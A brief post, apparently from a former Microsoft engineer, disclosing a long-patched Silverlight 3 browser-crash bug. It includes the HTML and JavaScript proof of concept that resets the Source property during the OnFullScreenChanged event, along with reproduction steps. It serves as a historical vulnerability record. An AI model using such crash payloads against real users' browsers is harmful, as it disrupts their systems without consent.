Silverlight 3 DoS — Source Change on FullScreenChanged Event

Changing the Source property of the Silverlight object when the OnFullScreenChanged event fires crashes the browser. The new source value does not matter — even an empty string is sufficient.

<script language="JavaScript">
function OnFullScreen_CLICK()
{
    oSilverlight.Source = "";
}
</script>
<object id="oSilverlight" data="data:application/x-silverlight,"
        type="application/x-silverlight-2" width="200" height="600">
    <param name="source" value="FullScreen.xap"/>
    <param name="OnFullScreenChanged" value="OnFullScreen_CLICK">
</object>

Enter full screen mode by pressing F11 (or the full-screen button inside the control), then exit. The source change on the transition event triggers the crash.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.